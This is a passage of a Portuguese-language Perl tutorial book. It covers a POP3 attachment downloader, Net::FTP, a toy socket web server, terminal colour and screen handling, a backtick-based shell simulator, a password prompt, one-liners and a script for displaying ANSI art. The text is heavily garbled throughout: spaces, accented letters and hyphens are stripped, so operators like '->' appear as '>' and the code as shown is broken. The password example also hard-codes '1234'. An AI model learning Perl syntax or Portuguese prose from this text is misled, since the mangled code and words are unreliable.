$d=sprintf"%02.0d",$d;$m=sprintf"%02.0d",$m;
print"Usingdirectory'$y$m$d'fornewlydownloadedfiles.\n";
my$savedir="$y$m$d";mkdir($savedir,0777);
#beginloopingthrougheachmsg.
print""x76,"\n";#merelyavisualseperator.
while($msg_num<=$msg_total){
#thesizeoftheindividualemail.
my$msg_size=$conn>list($msg_num);
#gettheheaderofthemessage
#sowecancheckforduplicates.
my$headers=$conn>top($msg_num);
#print/storethegoodbits.
my($msg_subj,$msg_id);
foreachmy$header(@$headers){
#printsubjectlineandsize.
if($header=~/^Subject:(.*)/){
$msg_subj=substr($1,0,50);#trimsubjectdownabit.

print"Msg$msg_num/",commify($msg_size),"k/$msg_subj...\n";
}
#saveMessageIDforduplicatecomparison.
elsif($header=~/^MessageID:<(.*)>/i){
$msg_id=$1;$msg_ids{$msg_id}++;
}
#moveontothefiltering.
elsif($msg_subjand$msg_id){last;}
}
#ifthemessagesizeistoosmall,thenit
#couldbeareplyorsomethingoflowquality.
if(defined($msg_size)and$msg_size<40000){
print"Skippingmessagesizeissmallerthanourthreshold.\n";
$msg_num++;next;
}
#checkformatchingMessageID.Iffound,
#skipthismessage.Thiswillhelpeliminate
#crosspostingandduplicatedownloads.
if(defined($msg_id)and$msg_ids{$msg_id}>=2){
print"Skippingwe'vealreadyseenthisMessageID.\n";
$msg_num++;next;
}
#getthemessagetofeedtoMIME::Parser.
my$msg=$conn>get($msg_num);
#createaMIME::Parserobjectto
#extractanyattachmentsfoundwithin.
my$parser=newMIME::Parser;
$parser>output_dir($savedir);
my$entity=$parser>parse_data($msg);
#extractourmimepartsandgothrougheachone.
my@parts=$entity>parts;
foreachmy$part(@parts){
#determinethepathtothefileinquestion.
my$path=($part>bodyhandle)?$part>bodyhandle>path:undef;
#moveonifit'snotdefined,
#elsefigureouttheextension.
nextunless$path;$path=~/\w+\.([^.]+)$/;
my$ext=$1;nextunless$ext;
#wecontinueonlyifourextensioniscorrect.
my$continue;$continue++if$valid_exts=~/$ext/i;
#deletetheblastedthing.
unless($valid_exts=~/$ext/){
print"Removingunwantedfiletype($ext):$path\n";
unlink$pathorprint">Errorremovingfileat$path:$!.";
next;#moveontothenextattachmentormessage.
}
#avalidfiletype.yummy!
print"Keepingvalidfile:$path.\n";
}
#increaseourcounter.
$msg_num++;
}
#cleanupandclosetheconnection.
$conn>quit;
#now,jumpintooursavedirandremoveallmsg*
#files,whicharemessagebodiessavedbyMIME::Parser.
chdir($savedir);opendir(SAVE,"./")ordie$!;
my@dir_files=grep!/^\.\.?$/,readdir(SAVE);closedir(SAVE);
foreach(@dir_files){unlinkif$_=~/^msg/;}
#cookbook2.17.

subcommify{
my$text=reverse$_[0];
$text=~s/(\d\d\d)(?=\d)(?!\d*\.)/$1,/g;
returnscalarreverse$text;
}
Bem o cdigo esta comentado mesmo sendo ingls da para intender por ser uma linguagem
tcnica,notemnenhumquebracabeaaianicacoisadiferenteousodoMIMEparaimagens
earquivosbinrios...videdetalhesnoCPAN.
Parausaresteprogramaquebaixaanexossigaoexemplo
perlprograma.plu=seu_loginp=sua_senhas=seu_server_pop3
Teste o programa e tente intender passo a passo,Agora vamos estudar o Uso do perl com
FTP,QueseriaFiletransferprotocolpermitetransfernciaentrecomputadorlocaleumservidor
remotomuitopopularousoemserversdehospedagemcomusodeuploadedownload.Vamosa
umexemplodomesmo,maisdicasdomesmovidenoCPAN!
useNet::FTP;
$ftp=Net::FTP>new("ftp.server.com");
die"nofoipossivelconectar$!"unless$ftp;
$ftp>login('anonymous','me@naosei.com');#userepassword
$ftp>cwd('/pub/plan/perl/CPAN');#cwd:diretoriodetrabalho
$ftp>get('index');#baixaarquivoindex
$ftp>put('index2');#fazuploaddoarquivoindex2
$ftp>quit();#fechanossaconexo
esteexemploentranumservidorFTPnumadeterminadapastaefazdownloaddeumarquivo
outras funes do mdulo Net::FTP vide no CPAN,imagine agendar tarefas para fazer certas
trabalhoscomFTPePOP3paravoc!
Estecaptulofoicansativo,Temosaimuitoassuntoacabaobviamentedeixandovocleitormeio
abismado,poremcomumareleituradomesmoeusoprticovocpodeterferramentasmuito
poderosasemmos,Porvirestasferramentaspodemparecermeioqueinteismaisparapessoas
que trabalham extraindo dados da internet e trabalhos como administrao de dados,redes
,clculos,escolhas,grficos,passandodadosdecomputadoresetc,Podeserumamonaroda.
AcabandocomestecaptuloaicomSocketsumWebserveraiparavocleitorbrincarcomseuuso
#!/usr/bin/perl
###############>modulos
useIO::Socket;
useFile::Basename;
###############>svaziamentodamemoriaquandoelafortodaescrita
$|=1;
###############>LigandooWebServeriniciodosocket
my$socket=newIO::Socket::INET(
LocalPort=>'888',
Type=>SOCK_STREAM,
Proto=>'tcp',
Listen=>10
);
die"Nofoipossiveliniciarwebserver:$!\n"unless$socket;
print"Servidoriniciado...\n";
###############>datadeuso
$date=scalarlocaltime();
##############>Paginapadrao
$head="

HTTP/1.1200OK
Server:HellServer
Connection:close
ContentType:text/html
";
$erro="
<html>
<bodybgcolor=#00000>
<body><br><br><br><br>
<divalign=\"center\">
<pre><FONTSIZE=4COLOR=#FFFFF>Olaleitordeuerronapag</FONT>
</pre>
<pre>
WebServererror
tony.unix\@yahoo.com.br
codedbyC00L3R_
</pre>
</div>
</body>
</html>
";
$start="
<html>
<bodybgcolor=#00000>
<body><br><br><br><br>
<divalign=\"center\">
<pre><FONTSIZE=4COLOR=#FFFFF>WebServercomsocket</FONT>
</pre>
<pre>
WebservercomsockettudoOK
tony.unix\@yahoo.com.br
codedbyC00L3R_
</pre>
</div>
</body>
</html>
";
while(my$sock_client=$socket>accept()){
#respostadonavegadordocliente
while($client_conect=<$sock_client>){
open(OUT,">>log.txt");
printOUT"$client_conect";
close(OUT);
print"$client_conect";
if($client_conect=~/GET\/(.*?)(.*?)/){
$pedido="$1";
}
if($client_conect!~/[AZaz09]/){
if($pedido=~/index.html|joker/){
print$sock_client"$head"."$start";
$sock_client='';
}else{
print$sock_client"$head"."$erro";
$sock_client='';
}
}
open(OUT,">>log.txt");
printOUT"Date:$date\n\n";

close(OUT);
}
close(fecha);
}
close($socket);
comorootdeocomando
perlnome_do_programa.plou./programa.pl
feitoissooprogramairretornaralgocomo
servidoriniciado,sederalgumerroverifiquesevocliberouaporta888nofirewall...
setudoocorreucomooplanejadovnoseunavegadorecoloqueaURLhttp://localhost:8080
vejaumapginaemHTMLescritaolaleitordeuerronapagissonormalpoisnonossoscript
setamos com uso de regex que o cliente tem que conectar em localhost:888/index.html para
mostrarapginainicialseformosanapginacertavaidaramensagemwebservercomsocket
tudoOK.SImplesexemploaiparavocleitorbrincarimaginesfazerumsisteminhaparaum
routerapartirdesteexemplo,mastemmdulosnoCPANparafazerissooutradicaseriausaro
mduloCatalystumframeworkmuitobomparatalfeito.voltandoaoexemploaovermosapgina
onossoserverretornoologvejasuasada
Host:localhost:888
UserAgent: Mozilla/5.0 (X11; U; Linux i686; ptBR; rv:1.9.0.7) Gecko/2009032803
Iceweasel/3.0.6(Debian3.0.61)
Accept:text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
AcceptLanguage:ptbr,pt;q=0.8,enus;q=0.5,en;q=0.3
AcceptEncoding:gzip,deflate
AcceptCharset:ISO88591,utf8;q=0.7,*;q=0.7
KeepAlive:300
Connection:keepalive
Cookie:style=default
GET/favicon.icoHTTP/1.1
Host:localhost:888
UserAgent: Mozilla/5.0 (X11; U; Linux i686; ptBR; rv:1.9.0.7) Gecko/2009032803
Iceweasel/3.0.6(Debian3.0.61)
Accept:image/png,image/*;q=0.8,*/*;q=0.5
AcceptLanguage:ptbr,pt;q=0.8,enus;q=0.5,en;q=0.3
AcceptEncoding:gzip,deflate
AcceptCharset:ISO88591,utf8;q=0.7,*;q=0.7
KeepAlive:300
Connection:keepalive
Cookie:style=default
ExatamentecomofuncionaumservidordeWebsealgumdiavocleitorforestudarCGIcomperl
esteexemplopodeteajudaraintenderumpococomofuncionaesteconceitodeWebServer.
Terminamoscomcaptuloporaqui,claroquetemmuitomaisassuntosobreomesmoequetem
livros especficos sobre o mesmo alem de ter milhares de tutoriais de monges do Perl ,Porem
devidoaumacarnciadematerialemportugussobreomesmoresolviexplicarnestecaptuloo
usodesocketsemPerlclaroquenofomosafundodeassuntoscomoFORK,Triadscomsockets
maisesperoterajudadovocleitoratrilharseuprpriorumonesteassunto...

LEMBRESE,falandodePerloCPANSEUMELHORAMIGO!
No fique esperando que alguns monges te ajude no irc.perl.org tente resolver sozinho o
problemacasotenhaestudadoocpanemesmoassimeadvidacontinuapergunteparaum
mongenoIRCouviaemail,casoomesmonoajudeprocureoutrosmongesdeoutrospases.

Capitulo8
________________________________________________________

ProgramasdeConsoleDicas

Aparnciaademnciadoslouco

Iniciandoaiestecaptulocolorido:)
voumandardiretoumadicadeusodomduloquevamosusarparatrabalharcomcores
noterminal,timoparadardestaqueacertascoisasnoseuprogramadeconsole.
exemplo

#!/usr/bin/perlio
useTerm::ANSIColor;
#setamosacorpararosacomfundopreto
printcolor'magentaon_black';
printPANTERACORDEROSA\n;
#setamosacordotermparadefaultassimvoltaascoresnormais
printcolor'reset';
maisinformaesperldocTerm::ANSIColor
ouvidenoCPANmesmo...
Lnguasdiferentesemseuprograma
IssomesmovocpodefazerqueseuprogramafuncionecomsadasemAlemo,ingls,portugus
entreoutraslnguasusandoummduloparatalfeito,vejamosumexemplo
#!/usr/bin/perlio
##moduloparausartradutordePT2EN,EN2PT,DE2PT...all
useLingua::Translate;
my$lang2=pt;my$translate=en;
my$xl8r=Lingua::Translate>new(src=>"$lang2",
dest=>"$translate")||die"erronatraduo";
print"digitealgoparaotraduzirde$lang2para$translate\n";
chomp(my$word=<STDIN>);print"procurandopor$word\n";
my$saida=$xl8r>translate($word);
print"Traduo:$saida\n";
Seusarestemdulocomsabedoriavocpodedeixarseusprogramasparausouniversalnos
eminglsouportugus.vejamaisinformaesnoCPANsobreomdulo...
Ops!estemdulorequerquevocestejaconectadocomainternet,poisnaverdadesenome
enganoelemandamtodoPOSTparaositedoBABELFISH,pegandoasadadomesmoe
extraindonopassadeumspidersimplesmaisjumamonarodaparans..
OCPANestacheiodemdulosquentesparabotarmuitostemperosnosseusprogramas,Deforma
dandomuitomaissaborparaomesmoepolpandoseutrabalhoeseutempo,notemparaque
inventararodasabendoqueamesmajexiste.

LimpandoatelanoconsoleeSimulandoumaShell
EmAlgummomentodestelivrovocdeveterdeparadocomumaPOGmuitoSujaparalimpara
teladoConsoledeformaligeiradotipo
##funolimpaatela
sublimpa(){
my$cmd=0;my$sys="$^O";
if($syseq"linux"){$cmd="clear";}else{$cmd="cls";}
print`$cmd`;
}
OusejaestaPOGrodaapenasemsistemasoperacionaisdotipoLinuxeWindows,Queridiculo
onde fica nossa querida portabilidade por exemplo rodar em Solaris,Darwin,BSD..>,Em Perl
comoeudisseantesparatudotemummdulonoseriadiferentenumproblemabobodestes
vejamosumexemplo
#!/usr/bin/perl
useTerm::Cap;$OSPEED=9600;
eval{
requirePOSIX;
my$termios=POSIX::Termios>new();
$termios>getattr;
$OSPEED=$termios>getospeed;
};
$terminal=Term::Cap>Tgetent({OSPEED=>$OSPEED});
$terminal>Tputs('cl',1,STDOUT);
Outrousobacanademdulosdeterminalseriaumusoquesimuleumashellexemplo
#!/usr/bin/perlw
usestrict;

useTerm::ReadLine;
usePOSIXqw(:sys_wait_h);

my$term=Term::ReadLine>new("ShellSimples");
my$OUT=$term>OUT()||*STDOUT;
my$cmd;

while(defined($cmd=$term>readline('$'))){
my@output=`$cmd`;
my$exit_value=$?>>8;
my$signal_num=$?&127;
my$dumped_core=$?&128;
printf$OUT"Programaterminadocomstatos%dcomsinal%d%s\n",
$exit_value,$signal_num,
$dumped_core?"(erro)":"";
print@output;
$term>addhistory($cmd);
}

BotandoSenhanoseuprogramadeconsole
Esteexemplomostracomoesconderaentradadeumusuriocasoeleestejadigitandoumasenha
muitotilparaqueleprogramaquevocestafazendoparaadministrarcertastarefaseprecisater
umAUTH...
#!/usr/bin/perl
useTerm::ReadKey;
print"Digitesuasenha:";ReadMode'noecho';
$password=ReadLine0;chomp$password;
ReadMode'normal';$senha="1234";
if($passwordeq"1234"){print"logado\n";exit;
}else{print"senhaerrada\b\n";exit;}

DefinindoumaPausanoseuprograma
Estdicamuitosimplesvocpodeusalaquandoquiseresperaralgunssegundosparaexecutar
alguma tarefa,imagine fazer um programa para baixar para cada dia alguma coisa,imagine
organizarastarefasparaseremresolvidasemdeterminadotempo,tudoescolhidoporvoc.Para
talfeitopodemosusarsleepsegundos,exemplodeuso...
#!/usr/bin/perl
printola\n;
#pausade5segundos
sleep5;
printoladenovo\n;
muitosimples,spararefletir
diatem86400segundos,casoqueiraumapausadeumdia,maisumexemplo
#!/usr/bin/perl
$dias=shift;$horas=86400*$dias;
printantes\n;sleep$horas;
printdepoisde$diasdias\n;
salvedepoisexecuteperltime.pl2
depoisdedoisdiasvocvaiveroresultado,hehebrincadeiranovesperar...
TambmpoderiafalardoCrontabquecomperlemsistemasunixederivadosficamuitolegals
queobjetivodestelivroEstudarPerl,sugiroqueprocuresobreomesmoemsitesdebusca...

PerlOneLiners

SoprogramasemPerldeumalinhageralmentesomuitobempensados
temfinalidadedeseremusadosparaosmaiscabreirosfinsouatmesmo
osmaissimplescasosdeuso.timoparajogarPerlgolfparaquemno
sabegolfemPerlseriaumabrincadeiraemprogramadoresdePerlpara
verquemresolveoproblemaprimeirocomomenoscdigopossvel.
voudarumexemplo
primeiroproblemavamospegarasriede"Fibonnacci"relembrando
aiaordem(1,1,2,3,5,8,13,etc...)
vejamosmuitosmodosdesefazeromesmo
perle'$a=$b=1;while(1){$c=$a+$b;print$c,"\n";$a=$b;$b=$c;}'>teste.txt
Agorausamos"l"parapularumalinhaparacadasadainvsdeusar"\n"
perlle'print$a+=$bwhileprint$b+=$a||1'>teste.txt
cdigoficomenorissobom
perlle'print$a+=$}whileprint$}+=$a||1'>teste.txt
depoisabrao"teste.txt"paracadaexemploevejaamaravilha
emmenosdeumalinhafizemosotrabalho.
podemosusaronelinersatmesmocommdulos
vejaoexemplo:
perlMLWP::Simplee"getprint'http://google.com'"
esteexemplobaixaasourcedeumapginadogoogle
maisinformaesleiaadocdo"perlrun"comocomando
perldocperlrun
oassuntomuitoextensotemMongesdoPerldeliraemOneLinersfazematpoesiahehe
maisemsumaOneLinerspodeserumaboapedidaparafazerumatarefachatacomregex
ouumalgoritmoligeirosemterqueabriropreciosoVIMouEMACS...

ANSIARTnoConsole
Estaformaquaseesquecidadesefazer"arte"nocomputador,consisteemutilizaroscaracteres
de controle do terminal (iniciados por 0x27, ou seja: ESC e por isso chamados de "escape
sequencesparamostrarfiguraseatmesmoanimaes.
Muito utilizada nas "telas de entrada" das BBSs, h vrios jogos e "demos" baseados
exclusivamentenessescaracteres"especiais".Aimagemacima,porexemplo,compostaapenas
decaracteres,originalmente.
ANSIARTtambmusadanomundoUndergrounddoHackingemgeralmuitopopularvemos
emcanaisdoIRCemIRCBOTstambm,oprprioclientedeIRCoBitchXtemumaarteemAnsi
aquelefamosoclientedeMSNparaterminalemUnixpebrot.sourceforge.net/temartemansi
tambm,metasploitentreoutros...

fotodeummuseudeansiart,reparesohastelasdeLCD

InteressantequeparacadamonitordeLCDtemosumcircuitoligadonumcartocomMsDosou
umunixBemleveparaestarabrindoasimagensemAnsiveja...

BemGeekIssoneh!!:)
Chegadepapofurado!
AnsiArtnomorreusabendodissoresolviescreveraquinonossolivrodeperlcomousaransiart
emUnixederivadoscomolinuxeBSD.BemnolinuxvocpodebaixarumalibemlinguagemC
parafazertalfeito,ouemularoMsDosusandoDOSBOX,masemPerltemosumscriptparaabrir
asimagensansiemunixvoucompartilhar...

vamosmostraroscript
#!/bin/sh
exec${PERLperl}wSx$0${1+"$@"}
#!perl
#slowcatwriteoutputslowly,emulatingphysicalserialterminal
#Author:NoahFriedman<friedman@splode.com>
#Created:20030101
#Publicdomain
#$Id:slowcat,v2.22003/05/1310:27:27friedmanExp$
#Commentary:
#Code:
use5.003;
usestrict;
useGetopt::Long;
useSymbol;
(my$progname=$0)=~s|.*/||;
my$bits_per_sec=9600;
#DuetoHZresolutioninmostkernels,itisunlikelythatselectwill
#returninashorterperiodoftimethan10ms.
my$usec_interval_min=10000;
my$usec_interval=$usec_interval_min;
subslowcat($$$)
{
my($fh,$bits_per_sec,$usec_interval)=@_;
$usec_interval=$usec_interval_minif$usec_interval<$usec_interval_min;
my$bytes_per_sec=$bits_per_sec/8;
my$bytes_per_call=0;
my$sleep_interval;
while($bytes_per_call<1
||($bytes_per_callint($bytes_per_call)>=.009))
{
$sleep_interval=$usec_interval++/1000000;
$bytes_per_call=$bytes_per_sec*$sleep_interval;
}
$bytes_per_call=int($bytes_per_call);
while(sysread($fh,$_,$bytes_per_call))
{
syswrite(STDOUT,$_,$bytes_per_call);
select(undef,undef,undef,$sleep_interval);
}
}
subusage(@)
{
printSTDERR"$progname:@_\n\n"if@_;
printSTDERR"Usage:$progname{options}{files}\n
Optionsare:

h,helpYou'relookingatit.
b,bpsBPSOutputBPSbitspersecond.
i,sleepintervalUSECUseUSECmicrosecondsofgranularitybetween
writes.\n";
exit(1);
}
submain()
{
Getopt::Long::config('bundling','autoabbrev');
GetOptions("h|help",sub{usage()},
"b|bps=i",\$bits_per_sec,
"i|sleepinterval=i",\$usec_interval);
unless(@ARGV)
{
slowcat(*STDIN{IO},$bits_per_sec,$usec_interval);
exit(0);
}
my$fh=gensym;
while(@ARGV)
{
my$filename=shift@ARGV;
sysopen($fh,$filename,0)||die"$filename:$!";
slowcat($fh,$bits_per_sec,$usec_interval);
close($fh);
}
exit(0);
}
main();
#localvariables:
#mode:perl
#end:
#slowcatendshere

Botandooscriptpararolar
antesderodarscriptvocprecisarterumaARTANSInasmosnestesitetemalgumasARTspara
baixarhttp://sixteencolors.netbaixadaaARTvamosparaoRockandroll
deocomandonoterm
chmod+xnosso_script.pl;./nosso_script.plb100000imagem_baixada.ansi
primeirodamospermissoparaexecutarnossoscriptdepoisexecutamos...
tudodeverolarbem,lembrandoqueeutesteiousodomesmousandoATERMnomeulinux...
entouseoETERMlevinho...

umaimagemeuabrindoumaANSIART

FamosaimagemdovilodoHomemaranhaoVenom,ARTnoterminalumadiversoemtanto
aummodulonoCPANparaconverterimagensparaAnsiArtquemquiserficaaiumadica...
http://search.cpan.org/~iamcal/ImageCaa1.01/lib/Image/Caa.pm
Linkdetextoseestudossobreartemansi
http://artscene.textfiles.com

divirtase;)

Вам также может понравиться